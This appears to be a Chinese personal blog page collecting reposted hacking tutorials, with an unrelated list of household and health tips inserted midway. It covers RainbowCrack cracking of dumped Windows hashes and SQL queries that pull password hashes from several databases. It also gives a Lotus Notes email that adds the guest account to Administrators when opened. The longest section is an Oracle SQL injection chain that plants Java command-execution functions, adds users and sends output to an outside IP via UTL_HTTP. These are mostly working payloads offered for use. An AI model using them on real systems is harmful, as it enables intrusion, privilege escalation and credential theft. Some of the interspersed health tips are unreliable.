|
|
用户名:lvhuana 笔名:Lvhu4na 地区: 行业:其他 |
| 日 | 一 | 二 | 三 | 四 | 五 | 六 |
RainbowCrack 生成
转自网络教程。
RainbowCrack是一个使用内存时间交换技术(Time-Memory Trade-Off Technique)加速口令破解过程的口令破解器,这个工具可以在地址http://www.antsight.com/zsl/rainbowcrack/下载。RainbowCrack使用了彩虹表,也就是一张预先计算好的明文和散列值的对照表。通过预先花费时间创建这样的彩虹表,能够在以后破解口令时节约大量的时间。RainbowCrack包含了下述实用程序:
— rtgen.exe——彩虹表生成器,生成口令、散列值对照表。
— rtsort.exe——排序彩虹表,为rcrack.exe提供输入。
— rcrack.exe——使用排好序的彩虹表进行口令破解。
首先使用彩虹表生成器(rtgen.exe)生成自己的彩虹表。其命令行格式为:
rtgen hash_algorithm \
plain_charset plain_len_min plain_len_max \
rainbow_table_index \
rainbow_chain_length rainbow_chain_count \
file_title_suffix
rtgen hash_algorithm \
plain_charset plain_len_min plain_len_max \
rainbow_table_index \
-bench
命令行各参数的意义和取值如表8-4所示。
表8-4 彩虹表生成器使用的参数
参 数取 值意 义
Hash_algorithm
lm, md5, sha1
散列算法,其中lm表示LANMAN,为Windows口令的散列方法
plain_charset
alpha, alphanumeric, alphanumeric- symbol14, all, numeric, loweralpha, lower-alphanumeric1
明文所用字符集,使用byte表示将256个字符全作为字符集
plain_len_min
数字
明文的最小长度
plain_len_max
数字
明文的最大长度
rainbow_table_index
数字
彩虹表的索引
rainbow_chain_length
数字
彩虹链长度
rainbow_chain_count
数字
要生成彩虹链的个数
file_title_suffix
字符串
添加到文件标题后面的字符串,用于书写彩虹表的注释
-bench
-bench
测试选项,用于性能测试
下面是使用彩虹表生成器的几个命令行示例:
rtgen lm alpha 1 7 0 100 16 test
rtgen md5 byte 4 4 0 100 16 test
rtgen sha1 numeric 1 10 0 100 16 test
rtgen lm alpha 1 7 0 -bench
除非我们已经对密码分析和内存时间交换技术训练有素,否则就应该使用建议值创建自己的彩虹表。示例8-9演示了如何创建一个128MB的彩虹表。
示例8-9:创建一个128MB的彩虹表。
C:\rainbowcrack-1.2-win>rtgen lm alpha 1 7 0 21 00 8000000 all
hash routine: lm
hash length: 8
plain charset: ABCDEFGHIJKLMNOPQRSTUVWXYZ
plain charset in hex: 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a
plain length range: 1 - 7
plain charset name: alpha
plain space total: 8353082582
rainbow table index: 0
reduce offset: 0
generating...
100000 of 8000000 rainbow chains generated (8 m 5 s)
done.
创建彩虹表可能要花费数小时、甚至数天的时间。在生成了彩虹表之后,我们会在当前目录下找到一个名称为lm_alpha#1-7_0_2100x8000000_all.rt的文件,其中all是我们在命令中输入的文件后缀。
接下来的工作是使用彩虹表排序程序(rtsort.exe)进行排序,目的是加快彩虹表的查找速度。这个命令的语法很简单,格式为:
rtsort rainbow_table_pathname
其中rainbow_table_pathname是要排序彩虹表的文件名。例如,排序前面创建的彩虹表,可以使用下面的命令:
C:\rainbowcrack-1.2-win>rtsort lm_alpha#1-7_0_2100x8000000_all.rt
这个命令需要执行几分钟的时间。
最后,使用彩虹表破解程序(rcrack.exe)破解散列值。对于Windows口令破解来说,需要从SAM数据库中提取出散列值,我们可以使用Pwdump程序来完成这个任务,该程序可以从http://www.bindview.com/Services ... ows/pwdump2_readme. cfm处下载。使用下面的命令将Windows口令散列值转储到文件hashes.txt中:
C:\rainbowcrack-1.2-win>pwdump2.exe > hashes.txt
得到了口令的散列值之后,就可以使用口令破解程序rcrack.exe和已经排好序的彩虹表进行口令破解了:
C:\rainbowcrack-1.2-win>rcrack alpha#1-7_0_2100x8000000_all.rt -f hashes.txt
虽然创建彩虹表是要花费大量的时间,但是,一旦创建了彩虹表之后,口令的破解速度就会大大提高。通常需要数小时才能够破解的口令可能在使用预定义的彩虹表之后仅仅花费数秒钟的时间就破解出来。
rainbowcrack 是一个多功能的密码破解软件。
它不仅能够破解windows密码,
同时也是杂乱算法加密的破解利器。
比如可以破解im,md5,sha1,customizable等
其它的加密方式破解也可以很容易地添加到该软件中。
软件同时支持windows和linux系统
而且在一个系统上生成的表单可以直接转换到另一种系统上使用
用它来破解md5密码,数分钟即可让十位数内与字符密码还原,
它的功能虽然强大,但是在使用时却是比较复杂的,因此我要详细的介绍一番
第一步:
生成表单文件
下载来的软件压缩包中有几个执行程序,。
我们在破解md5密码时,要用到的是前两个可执行文件,是rcrack.exe rtgen.exe
其中的"rtgen.exe"程序就是用来生成包含预设密码表单文件的
表单文件中有许多大量的md5加密密文,rainbowcrack的原理不是暴力破解
而是通过查询预先做好的密码与密文一一对应的文件来快速破解密。优点是速度快,
缺点是生成的文件非常大,
在命令提示符窗口中,运行"rtgen.exe"命令
也可以输入cmd在那里面,找到,你解压缩文件的路径,然後运行
由於rainbowcrack是一个多功能的密码破解器,因此提示信息比较复杂,
我们只需破解md5密码,在这里可以按下面的格式生成md5密码表单:
"rtgen md5 byte 1 7 5 2400 40000 all";
命令执行後,提示"generateing...."正在生成密码文件
其中"md5"参数指定生成md5表单。
如果是破解windows密码之类的,还可以使用相应的"lm/sha1"参数
详细的,可以看帮助文件。
"byte"参数用来指定生成密码表单中所包含的明密类型为所有字符和数字
如果想破解的是纯数字密码或是纯字符密码。
可以将其改为相应的"numeric"或"alpha"参数
具体的参数可见目录下"charset.txt"文件
其中1和7分别代表密码最小和最大长度
2400代表每个表单文件中密码串的长度
数字5用来表示生成表单文件的数目
而40000则代表每个表单文件中的密码数目
後面这两个数目越大,生成表单文件的速度越慢
但是表单文件中的密码就越多。
相应的破解速度也会越快
命令执行後,提示"generateing...."正在生成密码文件
执行完毕後。就会在当前目录下生成5个文件名类似为"md5_byte#1-7_5_2004X40000_all.rt"的文件
其中"all"是我们刚才在生成命令中指定用来添加标识文件的参数
有点慢.
md5密码破解利器rainbowcrack使用教程
转自网络教程。
学到几个小命令记录下
转自:http://hi.baidu.com/hackloft/blog/item/6c7a864e64aae60eb2de054d.html
还记得以前捣鼓serv-u为了找一个绝对的路径费劲 当时我的方法是读注册表 今天看到这小命令 大补 羞愧自己竟然忘记这样的命令 记录下
netstat -anvb 列取 进程名 进程id 端口协议 调用的可执行组件 和进程系统路径
tasklist /svc 列取进程中的服务
sc qc serv-u
SERVICE_NAME: serv-u
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : d:\Program Files\RhinoSoft.com\Serv-U\ServUDae
xe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Serv-U FTP 服务器
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
sc qc hzclient
SERVICE_NAME: hzclient
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : g:\hzhost\hzclient.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : HZClient Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
msinfo32.exe 这个更是个好东西 呵呵 补习下
Database Password Hashes Cracking
转自:http://www.pcsec.org/archives/database-password-hashes-cracking.html
#Trace: Sid总结的。补充的在留言里贴吧。
SQL Server 2000:-
SELECT password from master.dbo.sysxlogins where name='sa'
0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A
0×0100- constant header
34767D5C- salt
0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash
crack the upper case hash in 'cain and abel' and then work the case sentive hash
SQL server 2005:-
SELECT password_hash FROM sys.sql_logins where name='sa'
0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F
0×0100- constant header
993BF231-salt
5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash
crack case sensitive hash in cain, try brute force and dictionary based attacks.
update:- following bernardo's comments:-
use function fn_varbintohexstr() to cast password in a hex string.
e.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins
MYSQL:-
In MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL's own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.
*mysql < 4.1
mysql> SELECT PASSWORD('mypass');
+——————–+
| PASSWORD('mypass') |
+——————–+
| 6f8c114b58f2ce9e |
+——————–+
*mysql >=4.1
mysql> SELECT PASSWORD('mypass');
+——————————————-+
| PASSWORD('mypass') |
+——————————————-+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+——————————————-+
Select user, password from mysql.user
The hashes can be cracked in 'cain and abel'
Postgres:-
Postgres keeps MD5-based password hashes for database-level users in the pg_shadow table. You need to be the database superuser to read this table (usually called "postgres" or "pgsql")
select usename, passwd from pg_shadow;
usename | passwd
——————+————————————-
testuser | md5fabb6d7172aadfda4753bf0507ed4396
use mdcrack to crack these hashes:-
$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396
Oracle:-
select name, password, spare4 from sys.user$
hashes could be cracked using 'cain and abel' or thc-orakelcrackert11g
More on Oracle later, i am a bit bored….
MS SQL Server sp_replwritetovarbin() Heap Overflow Exploit (0day)
生活小窍门
2.牙齿黄,可以把花生嚼碎后含在嘴里,并刷牙三分钟,很有效;
3.若有小面积皮肤损伤或者
烧伤、烫伤,抹上少许牙膏,可立即止血止痛;
4.经常装茶的杯子里面留下难看的茶渍,用牙膏洗之,非常干净;
5.仰头点眼药水时微微张嘴,这样眼睛就不会乱眨了;
6.嘴里有溃疡,就用维生素C贴在溃疡处,等它溶化后溃疡基本就好了;
7.眼睛进了小灰尘,闭上眼睛用力咳嗽几下,灰尘就会自己出来;
8.洗完脸后,用手指沾些细盐在鼻头两侧轻轻按摩,然后再用清水冲洗,黑头和粉刺就会清除干净,毛细孔也会变小;
9.刚刚被蚊子咬完时,涂上肥皂就不会痒了;
10.如果嗓子、牙龈发炎了,在晚上把西瓜切成小块,沾着盐吃,记得一定要是晚上,当时症状就会减轻,第二天就好了;
11.吹风机对着标签吹,等吹到商标的胶热了,就可以很容易的把标签撕下来;
12.旅行带衣服时如果怕压起褶皱,可以把每件衣服都卷成卷;
13.打打嗝时就喝点醋,立杆见影;
14.吃了有异味的东西,如大蒜、臭豆腐,吃几颗花生米就好了;
15.治疗咳嗽,特别是干咳,晚上睡觉前,用纯芝麻香油煎鸡蛋,油放稍多些,什么调味料都不要放,趁热吃过就去睡觉,连吃几天效果很明显;
16.手腕长粗的MM想带较细的手镯,就不能硬带,应把手上套上一个塑料袋再带上手镯,非常好带,也不会把手弄疼,取下也是同样的方法;
17.栗子皮难剥,先把外壳剥掉,再把它放进微波炉转一下,拿出后趁热一搓,皮就掉了;
18.插花时,在水里滴上一滴洗洁精,可以维持好几天;
19.把核桃放进锅里蒸十分钟,取出放在凉水里再砸开,就能取出完整的桃核仁了;
20.把虾仁放进碗里,加一点精盐、食用碱粉,用手抓搓一会儿后用清水浸泡,然后再用清水冲洗,即能使炒出的虾仁透明如水晶,爽嫩可口;
21.炒肉时,先把肉用小苏打水浸泡十几分钟,倒掉水,再入味,炒出来会很嫩滑;
22.将残茶叶浸入水中数天后,浇在植物根部,可促进植物生长;
23.把残茶叶晒干,放到厕所或者沟渠里燃熏,可消除恶臭,具有驱除蚊子苍蝇的功能;
24.夹生饭重煮法:可用筷子在饭内扎些直通锅底的孔,洒入少许黄酒重焖,
25.若只表面夹生,只要将表层翻到中间再焖即可;
26.巧除纱窗油腻:将洗衣服、吸烟剩下的烟头一起放在水里,待溶解后,拿来擦玻璃窗、纱窗,效果真不错;
27.只要在珠宝盒中放上一节小小的粉笔,即可让首饰常保光泽;
28.桌子、瓶子表面的不干胶痕迹用风油精可以擦拭;
29.出门时随时在包里带一节小的干电池,若裙子带静电,就把电池的正极在裙子上面擦几下即可去掉静电;
30.不管是鞋子的哪个地方磨到了你的脚,你就在鞋子磨脚的地方涂一点点白酒,保证就不磨脚了;
31.亨调蔬菜时,如果必须要焯,焯好菜的水最好尽量利用。如做水饺的菜,焯好的水可适量放在肉馅里,这样既保证营养,又使水饺馅味美有汤;
32.夏天足部容易出汗,每天用淡盐水泡脚可有效应对汗脚;
33.夏天游泳后晒晒太阳,可防肌肤劳损等疾病发生;
34.夏天枕头易受潮滋生霉菌,时常曝晒枕芯有利健康;
35.多吃薏米小豆粥等潮湿健脾,可防暑湿;
36.防失眠:睡前少讲太多话,忌饮浓茶,睡前勿大用脑,可用热水加醋洗脚;
37.金银花有疏散风湿功效,金银花水煎取汁凉后与蜂蜜冲调可解暑;
38.吃过于肥腻的食物后喝茶,能刺激自律神经,促进脂肪代谢;
39.睡眠不足会变笨,一天需要睡眠八小时,有午睡习惯可延缓衰老;
40.双手易变得干燥粗糙,用醋泡手十分钟可护肤;
41.夏天擦拭凉席,用滴加了花露水的清水擦拭凉席,可使凉席保持清爽洁净。当然,擦拭时最好沿着凉席纹路进行,以便花露水渗透到凉席的纹路缝隙,这样清凉舒适的感觉会更持久;
42.早餐多食西红柿、柠檬酸等酸性蔬菜和水果,有益于养肝;
43.爽身止痒洗头或洗澡时,在水中加五六滴花露水,能起到很好的清凉除菌、祛痱止痒作用;
44.葡萄含有睡眠辅助激素,常食有助睡眠;
45.夏天多喝番茄汤既可获得养料,又能补充水分,番茄汤应烧好并冷却后再喝,所含番茄红素有一定的抗前列腺癌和保护心肌的功效,最适合于男子;吃酸性物质马上刷牙会损害牙齿健康;
46.因外伤碰破皮肉时,在伤处涂上牙膏进行消炎、止血,再包扎,作为临时急救药,以药物牙膏效果最为显著;
47.将白醋喷洒在菜板上,放上半小时后再洗,不但能杀菌,还能除味;
48.喝酸奶能解酒后烦躁,酸奶能保护胃黏膜、延缓酒精吸收,并且含钙丰富,对缓解酒后烦躁尤其有效;
49.皮鞋包皮放久了发霉时,可用软布蘸酒精加水(1:1)溶液擦拭即可;
50.发生头痛、头晕时,可在太阳穴涂上牙膏,因为牙膏含有薄荷脑、丁香油可镇痛;
51.蜡烛冷冻二十四小时后,再插到生日蛋糕上,点燃时不会流下烛油;
52.白色衣裤洗后易泛黄,可取一盆清水,滴上二三滴蓝墨水,将洗过的衣裤在浸泡一刻钟,不必拧干,就放在太阳下晒,即可洁白干净;
53.过多食用生葱蒜会刺激口腔肠胃,不利健康,最好加一点醋再食用;
54.及时补充水分但应少喝果汁、可乐、雪碧、汽水等饮料,含有较多的糖精和电解质,喝多了会对肠胃产生不良刺激,影响消化和食欲。因此夏天应多喝白开水或淡盐(糖)水;
55.每天早晨用豆腐摩擦面部几分钟,坚持一个月,面部会变得很滋润;
56.空调室内温差不宜超过五度,即使天气再热,空调室内温度也不宜到24度以下;
57.加酶洗衣粉剂放在温水中需要较长的分解时间才能使洗衣效果更佳;
58.夏天,人的活动时间变长,出汗多,耗能过大,应适当多吃鸡、鸭、瘦肉、鱼类、蛋类等营养食品,以满足人体的代谢需要;
59.头痛时把苹果磨成泥状涂在纱布上,贴在头痛处,症状可减轻;
60.皮包上有污渍,可以用棉花蘸风油精擦拭。
Lotus notes也玩入侵
文章来源:转载
Lotus是IBM公司开发的一套邮件系统,做为优秀的内部邮件系统,在中国应用极为广泛,如中国IBM公司,联想公司等都将其作为办公OA使用。但就是这套系统却存在严重的漏洞,可以通过构造一个特殊的邮件,获得任何打开该邮件的计算机系统的管理权限。
接下来我们来构造这种特殊的邮件,首先在lotus notes客户端新建邮件,选择收件人后,点击菜单“创建”项下的“对象”,在接下来弹出的对话框中选择“创建新的控件”和任意对象如“DiskManagement.Control
在随后打开的控件中,获得属性,然后点击“当读取文档时启动对象”复选框。
接着选择菜单“小程序”项下的“编辑事件”,在随后打开的对话框中的“Initialize”段中增加如下代码,这里的“MY EMAIL”是接受人的Lotus Notes帐户名字。
在下面的框中写入如下代码:
Sub Initialize
Dim session As New NotesSession
If session.CommonUserName="My EMAIL" Then
TaskId%=Shell("CMD.EXE /C net localgroup Administrators guest /add ",1)
‘将guest加入管理员组
End If
End Sub
同样在“Terminate”段增加如下代码:
Sub Terminate
Dim session As New NotesSession
If session.CommonUserName="My EMAIL" Then
TaskId%=Shell("CMD.EXE /C net localgroup Administrators guest /add ",1)
‘将guest加入管理员组
End Sub
为了不引起收件者的疑惑,在信件内容中加入一些文字做伪装更好,然后将邮件构造完成后发送出去,收件人在读文档的时候,ActiveX就会执行,你还可发挥想象力将以下这段代码改为任意的命令行语句:
“TaskId%=Shell("CMD.EXE /C net localgroup Administrators guest /add",1)”
此漏洞影响lotus4.6、lotus5等版本,并且没有好的解决方法,临时解决的方法是修改MAILBOX数据库属性,关闭“在文档中存储”功能,并保证Execution Control List (ECL) 措施正确配置。
漏洞利用邮件系统内置的功能自动执行任意代码,与现在流行的IE浏览时执行恶意代码有些相似。只要大家平时多留意,会发现有许多内部邮件系统都存在这一问题,这也反映了厂家在设计中过于信任内部局域网的安全性,希望这样的情况得以较好得解决。
linx大牛的《犀利的oracle注入技术》
犀利的 oracle 注入技术 linx 2008.1.12 介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。 以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) 的形式即可。(用" 'a'|| "是为了让语句返回true值) 语句有点长,可能要用post提交。 以下是各个步骤: 1.创建包 通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件: /xxx.jsp?id=1 and '1'<>'a'||( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader( new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}} }'''';END;'';END;--','SYS',0,'1',0) from dual ) ************ select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' create or replace and compile java source named "LinxUtil" as import java.io.*;import java.net.URL; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader( new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(filename.startsWith("http")?new InputStreamReader(new URL(filename).openStream()):new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}} }'''';END;'';END;--','SYS',0,'1',0) from dual *************** ------------------------ 如果url有长度限制,可以把readFile()函数块去掉,即: /xxx.jsp?id=1 and '1'<>'a'||( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader( new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}} }'''';END;'';END;--','SYS',0,'1',0) from dual ) 同时把后面步骤 提到的 对readFile()的处理语句去掉。 ------------------------------ 2.赋Java权限 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual 3.创建函数 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual 4.赋public执行函数的权限 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual 5.测试上面的几步是否成功 and 1<( select OBJECT_ID from all_objects where object_name ='LINXRUNCMD' ) and 1<( select OBJECT_ID from all_objects where object_name ='LINXREADFILE' ) 6.执行命令: /xxx.jsp?id=1 and '1'<>( select sys.LinxRunCMD('cmd /c net user linx /add') from dual ) /xxx.jsp?id=1 and '1'<>( select sys.LinxReadFile('c:/boot.ini') from dual ) 注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 如果要查看运行结果可以用 union : /xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual 或者UTL_HTTP.request(: /xxx.jsp?id=1 and '1'<>( SELECT UTL_HTTP.request('http://222.31.175.62/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),chr(10),'%0A')) FROM dual ) /xxx.jsp?id=1 and '1'<>( SELECT UTL_HTTP.request('http://222.31.175.62/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),chr(10),'%0A')) FROM dual ) 注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。 -------------------- 6.内部变化 通过以下命令可以查看all_objects表达改变: select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%' 7.删除我们创建的函数 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual ==================================================== 全文结束。谨以此文赠与我的朋友。 linx 124829445 2008.1.12 linyujian@bjfu.edu.cn ====================================================================== 测试漏洞的另一方法: 创建oracle帐号: select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual 即: select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82), chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual 确定漏洞存在: 1<>( select user_id from all_users where username='LINXSQL' ) 给linxsql连接权限: select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual 删除帐号: select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual ====================== 以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User: 1.jsp?id=1 and '1'<>( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual ) and ... 1.jsp?id=1 and '1'<>( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual ) and ... 1.jsp?id=1 and '1'<>( SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL ) and ... 1.jsp?id=1 and '1'<>( SELECT sys.Linx_Query('declare pragma autonomous_transaction; begin execute immediate '' select 1 from dual ''; commit; end;') from dual ) and ... 多语句: SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual 创建用户(除非当前用户有system权限,否则无法成功): SELECT sys.Linx_Query('declare pragma autonomous_transaction; begin execute immediate '' CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User ''; commit; end;') from dual ================ 以下的方法是先建立函数Linx_Query(),再建立 RunCMD2() 1.创建函数 select 